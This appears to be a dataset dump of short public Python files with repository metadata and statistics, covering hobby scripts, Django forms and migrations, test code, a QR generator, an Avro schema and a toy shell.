55bbcfb0657fa9d696e2cb0dec828c20a4c0e1c7 | 156 | py | Python | rpi/LiDAR.py | shadowsburney/LiDAR | f88cca9fbdae2d0dbe47a6e06cd965a2aaa82a0a | [
"MIT"
] | null | null | null | rpi/LiDAR.py | shadowsburney/LiDAR | f88cca9fbdae2d0dbe47a6e06cd965a2aaa82a0a | [
"MIT"
] | null | null | null | rpi/LiDAR.py | shadowsburney/LiDAR | f88cca9fbdae2d0dbe47a6e06cd965a2aaa82a0a | [
"MIT"
] | null | null | null | from sensor import Sensor
from stepper import Stepper
sensor = Sensor()
stepper = Stepper(100)
#stepper.start()
while True:
print(sensor.measure())
| 13 | 27 | 0.730769 | 20 | 156 | 5.7 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023077 | 0.166667 | 156 | 11 | 28 | 14.181818 | 0.853846 | 0.096154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0.166667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
55c0c3ecc4384f35e0ec61e90038c58f6fa656b9 | 89 | py | Python | languages/116/examples/test_problem.py | c3333/sphereengine-languages | ef76cbffe67407d88519ba1e4bfaa20e3a55ccff | [
"Apache-2.0"
] | 5 | 2019-05-05T15:47:24.000Z | 2021-07-22T14:29:13.000Z | languages/116/examples/test_problem.py | c3333/sphereengine-languages | ef76cbffe67407d88519ba1e4bfaa20e3a55ccff | [
"Apache-2.0"
] | 1 | 2022-03-29T14:20:04.000Z | 2022-03-29T14:20:04.000Z | languages/116/examples/test_problem.py | c3333/sphereengine-languages | ef76cbffe67407d88519ba1e4bfaa20e3a55ccff | [
"Apache-2.0"
] | 4 | 2020-02-25T14:30:43.000Z | 2021-05-12T10:05:05.000Z | from sys import stdin
for line in stdin:
n = int(line)
if n == 42:
break
print(n)
| 9.888889 | 21 | 0.629213 | 17 | 89 | 3.294118 | 0.764706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030769 | 0.269663 | 89 | 8 | 22 | 11.125 | 0.830769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.166667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e96b8708dc8be78814c697d042595105e2d873c2 | 80 | py | Python | Getting_Started_With_Raspberry_Pi_Pico/variable/code.py | gamblor21/Adafruit_Learning_System_Guides | f5dab4a758bc82d0bfc3c299683fe89dc093912a | [
"MIT"
] | 665 | 2017-09-27T21:20:14.000Z | 2022-03-31T09:09:25.000Z | Getting_Started_With_Raspberry_Pi_Pico/variable/code.py | gamblor21/Adafruit_Learning_System_Guides | f5dab4a758bc82d0bfc3c299683fe89dc093912a | [
"MIT"
] | 641 | 2017-10-03T19:46:37.000Z | 2022-03-30T18:28:46.000Z | Getting_Started_With_Raspberry_Pi_Pico/variable/code.py | gamblor21/Adafruit_Learning_System_Guides | f5dab4a758bc82d0bfc3c299683fe89dc093912a | [
"MIT"
] | 734 | 2017-10-02T22:47:38.000Z | 2022-03-30T14:03:51.000Z | """Example of assigning a variable."""
user_name = input("What is your name? ")
| 26.666667 | 40 | 0.6875 | 12 | 80 | 4.5 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 80 | 2 | 41 | 40 | 0.794118 | 0.4 | 0 | 0 | 0 | 0 | 0.452381 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e96f7f5812e754a8c8dec16943815bc6604a8f49 | 216 | py | Python | rxkcd/models.py | aeternalis1/Relevant-XKCD | a9145974453b94ecf77a587b83bd69d974f14380 | [
"MIT"
] | null | null | null | rxkcd/models.py | aeternalis1/Relevant-XKCD | a9145974453b94ecf77a587b83bd69d974f14380 | [
"MIT"
] | null | null | null | rxkcd/models.py | aeternalis1/Relevant-XKCD | a9145974453b94ecf77a587b83bd69d974f14380 | [
"MIT"
] | null | null | null | class Comic:
def __init__(self, comic_num):
self.id = comic_num
self.title = ""
self.title_text = ""
self.transcript = ""
self.explanation = ""
self.img_url = ""
self.og_title = ""
self.og_ttext = "" | 21.6 | 31 | 0.62963 | 29 | 216 | 4.344828 | 0.517241 | 0.126984 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.208333 | 216 | 10 | 32 | 21.6 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0 | 0 | 0.2 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e96ffd9e458abb20cec71135158a8cf1ce09e9d1 | 888 | py | Python | ElevatorBot/commands/funStuff/ticTacToe/vsAI.py | LukasSchmid97/destinyBloodoakStats | 1420802ce01c3435ad5c283f44eb4531d9b22c38 | [
"MIT"
] | 3 | 2019-10-19T11:24:50.000Z | 2021-01-29T12:02:17.000Z | ElevatorBot/commands/funStuff/ticTacToe/vsAI.py | LukasSchmid97/destinyBloodoakStats | 1420802ce01c3435ad5c283f44eb4531d9b22c38 | [
"MIT"
] | 29 | 2019-10-14T12:26:10.000Z | 2021-07-28T20:50:29.000Z | ElevatorBot/commands/funStuff/ticTacToe/vsAI.py | LukasSchmid97/destinyBloodoakStats | 1420802ce01c3435ad5c283f44eb4531d9b22c38 | [
"MIT"
] | 2 | 2019-10-13T17:11:09.000Z | 2020-05-13T15:29:04.000Z | # from discord.ext.commands import Cog
# from discord_slash import SlashContext, cog_ext
# from discord_slash.utils.manage_commands import create_option
#
#
# class TicTacToeAI(Cog):
# def __init__(self, client):
# self.client = client
#
# @cog_ext.cog_subcommand(
# base="tictactoe",
# b... | 29.6 | 89 | 0.581081 | 101 | 888 | 4.930693 | 0.613861 | 0.066265 | 0.064257 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001634 | 0.310811 | 888 | 29 | 90 | 30.62069 | 0.812092 | 0.933559 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e988aca86693a630d0af6b4768506c2e555391e5 | 71 | py | Python | Atividade do Livro-Nilo Ney(PYTHON)/Cap.03/exe 3.13.py | EduardoJonathan0/Python | 0e4dff4703515a6454ba25c6f401960b6155f32f | [
"MIT"
] | null | null | null | Atividade do Livro-Nilo Ney(PYTHON)/Cap.03/exe 3.13.py | EduardoJonathan0/Python | 0e4dff4703515a6454ba25c6f401960b6155f32f | [
"MIT"
] | null | null | null | Atividade do Livro-Nilo Ney(PYTHON)/Cap.03/exe 3.13.py | EduardoJonathan0/Python | 0e4dff4703515a6454ba25c6f401960b6155f32f | [
"MIT"
] | null | null | null | C = int(input("Insira um valor: "))
Fire = (9 * C / 5) + 32
print(Fire) | 23.666667 | 35 | 0.56338 | 13 | 71 | 3.076923 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 0.211268 | 71 | 3 | 36 | 23.666667 | 0.642857 | 0 | 0 | 0 | 0 | 0 | 0.236111 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e98f3c0cbfe695e09cf6acaf634dcaef0d39ab20 | 965 | py | Python | backend/forms.py | adarshrao1/Flood_detection | 4a2a7ecef178366700d5c29a13d45143eaa7cc54 | [
"CC0-1.0"
] | null | null | null | backend/forms.py | adarshrao1/Flood_detection | 4a2a7ecef178366700d5c29a13d45143eaa7cc54 | [
"CC0-1.0"
] | null | null | null | backend/forms.py | adarshrao1/Flood_detection | 4a2a7ecef178366700d5c29a13d45143eaa7cc54 | [
"CC0-1.0"
] | 5 | 2021-06-05T14:11:04.000Z | 2021-06-19T05:51:56.000Z | from django.forms import ModelForm
from backend.models import Image, Image2
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.models import User
from django import forms
class CreateUserForm(UserCreationForm):
email = forms.EmailField(
widget=forms.TextInput(attrs={'class': '... | 26.081081 | 70 | 0.654922 | 99 | 965 | 6.30303 | 0.333333 | 0.064103 | 0.089744 | 0.134615 | 0.320513 | 0.320513 | 0.320513 | 0.189103 | 0.189103 | 0 | 0 | 0.009309 | 0.220725 | 965 | 36 | 71 | 26.805556 | 0.820479 | 0 | 0 | 0.310345 | 0 | 0 | 0.117098 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.172414 | 0.172414 | 0 | 0.517241 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
e9a7d2f66b4f8dbaa2eb22e345ef51c2d6c7fe14 | 2,360 | py | Python | src/Line.py | npanuhin/BIOCAD-BWA | 50f56fd7d08b8ad1247934c902fb137f3c28cdf8 | [
"MIT"
] | null | null | null | src/Line.py | npanuhin/BIOCAD-BWA | 50f56fd7d08b8ad1247934c902fb137f3c28cdf8 | [
"MIT"
] | null | null | null | src/Line.py | npanuhin/BIOCAD-BWA | 50f56fd7d08b8ad1247934c902fb137f3c28cdf8 | [
"MIT"
] | null | null | null | from typing import List
from collections import deque
class Line:
"""
Properties:
start_x {0}
start_y {1}
end_x {2}
end_y {3}
dots = [dot1, ..., dotN] {4}
coords = (start_x, start_y, end_x, end_y)
"""
def __init__(self, start_x=None, start_y=Non... | 25.106383 | 84 | 0.555932 | 347 | 2,360 | 3.564842 | 0.167147 | 0.118836 | 0.077607 | 0.073565 | 0.44139 | 0.292643 | 0.232821 | 0.215036 | 0.137429 | 0.137429 | 0 | 0.012868 | 0.308475 | 2,360 | 93 | 85 | 25.376344 | 0.745098 | 0.147034 | 0 | 0.134615 | 0 | 0 | 0.030071 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.038462 | 0.153846 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
e9bd8c135bbdae40ce2ed51669ba9beb880235de | 561 | py | Python | typeidea/comment/adminx.py | LastDanceG/typeblog | fdd043546813866669c004bc8d8aedbfcfa326f2 | [
"MIT"
] | 1 | 2020-02-20T12:01:43.000Z | 2020-02-20T12:01:43.000Z | typeidea/comment/adminx.py | LastDanceG/typeblog | fdd043546813866669c004bc8d8aedbfcfa326f2 | [
"MIT"
] | 2 | 2020-06-06T00:45:15.000Z | 2021-06-10T22:35:31.000Z | typeidea/comment/adminx.py | LastDanceG/typeblog | fdd043546813866669c004bc8d8aedbfcfa326f2 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import xadmin
from django.contrib import admin
# from typeidea.custom_site import custom_site
from typeidea.custom_admin import BaseOwnerAdmin
from .models import Comment
# Register your models here.
class CommentAdmin(object):
list_display = ['ta... | 26.714286 | 86 | 0.750446 | 69 | 561 | 5.855072 | 0.608696 | 0.059406 | 0.089109 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002092 | 0.14795 | 561 | 21 | 87 | 26.714286 | 0.843096 | 0.165775 | 0 | 0 | 0 | 0 | 0.146237 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.416667 | 0 | 0.916667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
e9da66e1d85822aa027c49a94455e58540701de1 | 7,156 | py | Python | iec/iec_lookup/tests/test_integration_services.py | divinedeveloper/iec-web-service | 0d5e7a05356cc8d88372a559bd5df787d8dc1f75 | [
"MIT"
] | null | null | null | iec/iec_lookup/tests/test_integration_services.py | divinedeveloper/iec-web-service | 0d5e7a05356cc8d88372a559bd5df787d8dc1f75 | [
"MIT"
] | null | null | null | iec/iec_lookup/tests/test_integration_services.py | divinedeveloper/iec-web-service | 0d5e7a05356cc8d88372a559bd5df787d8dc1f75 | [
"MIT"
] | null | null | null | from iec_lookup.services.iec_lookup_service import IECLookupService
from iec_lookup.tests.fixtures import mongo_test_db_setup, importer_exporter_code_details_as_json, importer_exporter_code_details_as_object, dgft_succes_response_html_string, dgft_error_response_html_string, iec_table_section_list, basic_iec_details_as... | 42.595238 | 279 | 0.827138 | 1,083 | 7,156 | 5.051708 | 0.154201 | 0.11698 | 0.146226 | 0.118443 | 0.623286 | 0.564979 | 0.481448 | 0.439773 | 0.418753 | 0.400658 | 0 | 0.003486 | 0.118083 | 7,156 | 167 | 280 | 42.850299 | 0.863413 | 0.23938 | 0 | 0.205128 | 0 | 0 | 0.021228 | 0 | 0 | 0 | 0 | 0 | 0.307692 | 1 | 0.141026 | false | 0 | 0.628205 | 0 | 0.782051 | 0.012821 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
7578054f5e5fa0cd2bf6c67b5dfd6c6a49acba24 | 563 | py | Python | posts/migrations/0002_auto_20181129_2311.py | ddeveloper72/Dhjango-Blog | 8f9771a149a944e32aa192de97ab69092a1492d2 | [
"CC-BY-3.0"
] | null | null | null | posts/migrations/0002_auto_20181129_2311.py | ddeveloper72/Dhjango-Blog | 8f9771a149a944e32aa192de97ab69092a1492d2 | [
"CC-BY-3.0"
] | null | null | null | posts/migrations/0002_auto_20181129_2311.py | ddeveloper72/Dhjango-Blog | 8f9771a149a944e32aa192de97ab69092a1492d2 | [
"CC-BY-3.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.15 on 2018-11-29 23:11
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('posts', '0001_initial'),
]
operations = [
migrations.RenameField(
mode... | 21.653846 | 49 | 0.57016 | 58 | 563 | 5.293103 | 0.655172 | 0.136808 | 0.169381 | 0.19544 | 0.267101 | 0.267101 | 0.267101 | 0 | 0 | 0 | 0 | 0.056848 | 0.312611 | 563 | 25 | 50 | 22.52 | 0.736434 | 0.122558 | 0 | 0.333333 | 1 | 0 | 0.126273 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
7593f4e87b009e30bfc06b0f207cd76f6db5a110 | 288 | py | Python | QRcodegenerator.py | arpitarunkumaar/Hacktoberfest2021 | 0af40f90a6c0716caadbbfff44ece947b6146f60 | [
"MIT"
] | 125 | 2021-10-01T19:05:26.000Z | 2021-10-03T13:32:42.000Z | QRcodegenerator.py | arpitarunkumaar/Hacktoberfest2021 | 0af40f90a6c0716caadbbfff44ece947b6146f60 | [
"MIT"
] | 201 | 2021-10-30T20:40:01.000Z | 2022-03-22T17:26:28.000Z | QRcodegenerator.py | arpitarunkumaar/Hacktoberfest2021 | 0af40f90a6c0716caadbbfff44ece947b6146f60 | [
"MIT"
] | 294 | 2021-10-01T18:46:05.000Z | 2021-10-03T14:25:07.000Z | import pyqrcode
from pyqrcode import QRCode
# String which represent the QR code
s = "https://www.youtube.com/channel/UCeO9hPCfRzqb2yTuAn713Mg"
# Generate QR code
url = pyqrcode.create(s)
# Create and save the png file naming "myqr.png"
url.svg("myyoutube.svg", scale = 8)
| 24 | 62 | 0.725694 | 41 | 288 | 5.097561 | 0.731707 | 0.057416 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025316 | 0.177083 | 288 | 11 | 63 | 26.181818 | 0.85654 | 0.347222 | 0 | 0 | 1 | 0 | 0.377049 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
759e1233cd5221eb7c3d3a4d3d8e9c2c06bf7609 | 234 | py | Python | backend/templatetags/back_tag.py | h1gfun4/h1gfun4.github.io | e460467cb505b525ecd5b01b9eb3fd73de7ec6e1 | [
"MIT"
] | null | null | null | backend/templatetags/back_tag.py | h1gfun4/h1gfun4.github.io | e460467cb505b525ecd5b01b9eb3fd73de7ec6e1 | [
"MIT"
] | null | null | null | backend/templatetags/back_tag.py | h1gfun4/h1gfun4.github.io | e460467cb505b525ecd5b01b9eb3fd73de7ec6e1 | [
"MIT"
] | null | null | null | from django import template
from backend.models import Back
register = template.Library()
@register.inclusion_tag('backend/tags/scrollMenuB.html')
def get_back():
scrollB = Back.objects.all()
return {"scrollMenuB": scrollB } | 26 | 56 | 0.75641 | 29 | 234 | 6.034483 | 0.689655 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128205 | 234 | 9 | 57 | 26 | 0.857843 | 0 | 0 | 0 | 0 | 0 | 0.170213 | 0.123404 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
75c58beec52cc06cb6843a182d38d84b973164ec | 1,358 | py | Python | serializers_test/avro_avg.py | lioritan/Side-Projects | 647bdbf0d3b71ea113739fb7ad2b299aea28c653 | [
"MIT"
] | null | null | null | serializers_test/avro_avg.py | lioritan/Side-Projects | 647bdbf0d3b71ea113739fb7ad2b299aea28c653 | [
"MIT"
] | null | null | null | serializers_test/avro_avg.py | lioritan/Side-Projects | 647bdbf0d3b71ea113739fb7ad2b299aea28c653 | [
"MIT"
] | null | null | null | import avro.schema
import json
import fastavro
SCHEMA = {
"namespace": "avg_obj",
"type": "record",
"name": "Meme",
"fields": [
{"name": "user", "type": {
"type": "record",
"name": "PostUser",
"fields": [
{"name": "user_id", "type": "string"}... | 38.8 | 89 | 0.401325 | 110 | 1,358 | 4.872727 | 0.336364 | 0.134328 | 0.195896 | 0.195896 | 0.382463 | 0.307836 | 0.253731 | 0 | 0 | 0 | 0 | 0.002307 | 0.361561 | 1,358 | 34 | 90 | 39.941176 | 0.615917 | 0 | 0 | 0.133333 | 0 | 0 | 0.338733 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
75caae991e7575297539a0a5755bf9b4493ee335 | 3,258 | py | Python | pysh.py | tri-llionaire/tri-llionaire.github.io | 5134d3ec0ff1e3b7eab469ea05300b505895212f | [
"MIT"
] | 1 | 2018-04-24T14:53:23.000Z | 2018-04-24T14:53:23.000Z | pysh.py | tri-llionaire/tri-llionaire.github.io | 5134d3ec0ff1e3b7eab469ea05300b505895212f | [
"MIT"
] | null | null | null | pysh.py | tri-llionaire/tri-llionaire.github.io | 5134d3ec0ff1e3b7eab469ea05300b505895212f | [
"MIT"
] | 1 | 2018-08-25T21:15:07.000Z | 2018-08-25T21:15:07.000Z | #pysh: shell in python
import sys
cmdlist = ['start','exit','cd','md','ls','pd','cf','cl']
convert = []
waiting = 0
print 'pysh 1.0.5 19.03.11 #6. type start to enter, exit to leave.'
paths = ['pysh/']
direct = 'pysh/'
added = []
entered = raw_input(': ')
if entered == 'start':
while entered != ['exit']:
en... | 40.222222 | 90 | 0.329343 | 275 | 3,258 | 3.894545 | 0.258182 | 0.052288 | 0.048553 | 0.067227 | 0.297852 | 0.268908 | 0.268908 | 0.268908 | 0.214753 | 0.214753 | 0 | 0.024322 | 0.558318 | 3,258 | 80 | 91 | 40.725 | 0.719944 | 0.006446 | 0 | 0.303797 | 0 | 0.012658 | 0.082818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.025316 | 0.012658 | null | null | 0.126582 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f9557c2acc79de6411f64feb5d4d5550266b917c | 992 | py | Python | release/stubs.min/System/Diagnostics/__init___parts/EventLogPermissionEntry.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | release/stubs.min/System/Diagnostics/__init___parts/EventLogPermissionEntry.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | release/stubs.min/System/Diagnostics/__init___parts/EventLogPermissionEntry.py | YKato521/ironpython-stubs | b1f7c580de48528490b3ee5791b04898be95a9ae | [
"MIT"
] | null | null | null | class EventLogPermissionEntry(object):
"""
Defines the smallest unit of a code access security permission that is set for an System.Diagnostics.EventLog.
EventLogPermissionEntry(permissionAccess: EventLogPermissionAccess,machineName: str)
"""
@staticmethod
def __new__(self, permissionAcces... | 24.8 | 112 | 0.686492 | 97 | 992 | 6.938144 | 0.536082 | 0.089153 | 0.15156 | 0.160475 | 0.178306 | 0.178306 | 0.178306 | 0.178306 | 0.178306 | 0.178306 | 0 | 0 | 0.228831 | 992 | 39 | 113 | 25.435897 | 0.879739 | 0.279234 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0.1 | 0 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
f9564d9454e04c5d07bedcb3655d9efe0ca449c7 | 133 | py | Python | compound_types/built_ins/lists.py | vahndi/compound-types | cda4f49651b4bfbcd9fe199de276be472620cfad | [
"MIT"
] | null | null | null | compound_types/built_ins/lists.py | vahndi/compound-types | cda4f49651b4bfbcd9fe199de276be472620cfad | [
"MIT"
] | null | null | null | compound_types/built_ins/lists.py | vahndi/compound-types | cda4f49651b4bfbcd9fe199de276be472620cfad | [
"MIT"
] | null | null | null | from typing import List
BoolList = List[bool]
DictList = List[dict]
FloatList = List[float]
IntList = List[int]
StrList = List[str]
| 16.625 | 23 | 0.736842 | 19 | 133 | 5.157895 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.150376 | 133 | 7 | 24 | 19 | 0.867257 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f95b8e23ac103c21bff72619bd1a14be401e08f2 | 161 | py | Python | alexa_skill_boilerplate/__init__.py | variable/alexa_skill_boilerplate | c2c7fc2a3fe8f0bc69ec7559ec9b11f211d76bdc | [
"MIT"
] | null | null | null | alexa_skill_boilerplate/__init__.py | variable/alexa_skill_boilerplate | c2c7fc2a3fe8f0bc69ec7559ec9b11f211d76bdc | [
"MIT"
] | null | null | null | alexa_skill_boilerplate/__init__.py | variable/alexa_skill_boilerplate | c2c7fc2a3fe8f0bc69ec7559ec9b11f211d76bdc | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""Top-level package for Alexa Skill Boilerplate."""
__author__ = """James Lin"""
__email__ = 'james@lin.net.nz'
__version__ = '0.1.0'
| 20.125 | 52 | 0.639752 | 22 | 161 | 4.136364 | 0.863636 | 0.175824 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028986 | 0.142857 | 161 | 7 | 53 | 23 | 0.630435 | 0.428571 | 0 | 0 | 0 | 0 | 0.348837 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f9873b3ec6305739faa020963cb0f6929823dc6d | 799 | py | Python | e/mail-relay/web/apps/core/migrations/0051_customersetting_transfer_max_size.py | zhouli121018/nodejsgm | 0ccbc8acf61badc812f684dd39253d55c99f08eb | [
"MIT"
] | null | null | null | e/mail-relay/web/apps/core/migrations/0051_customersetting_transfer_max_size.py | zhouli121018/nodejsgm | 0ccbc8acf61badc812f684dd39253d55c99f08eb | [
"MIT"
] | 18 | 2020-06-05T18:17:40.000Z | 2022-03-11T23:25:21.000Z | e/mail-relay/web/apps/core/migrations/0051_customersetting_transfer_max_size.py | zhouli121018/nodejsgm | 0ccbc8acf61badc812f684dd39253d55c99f08eb | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0050_customersetting_can_view_mail'),
]
operations = [
migrations.AddField(
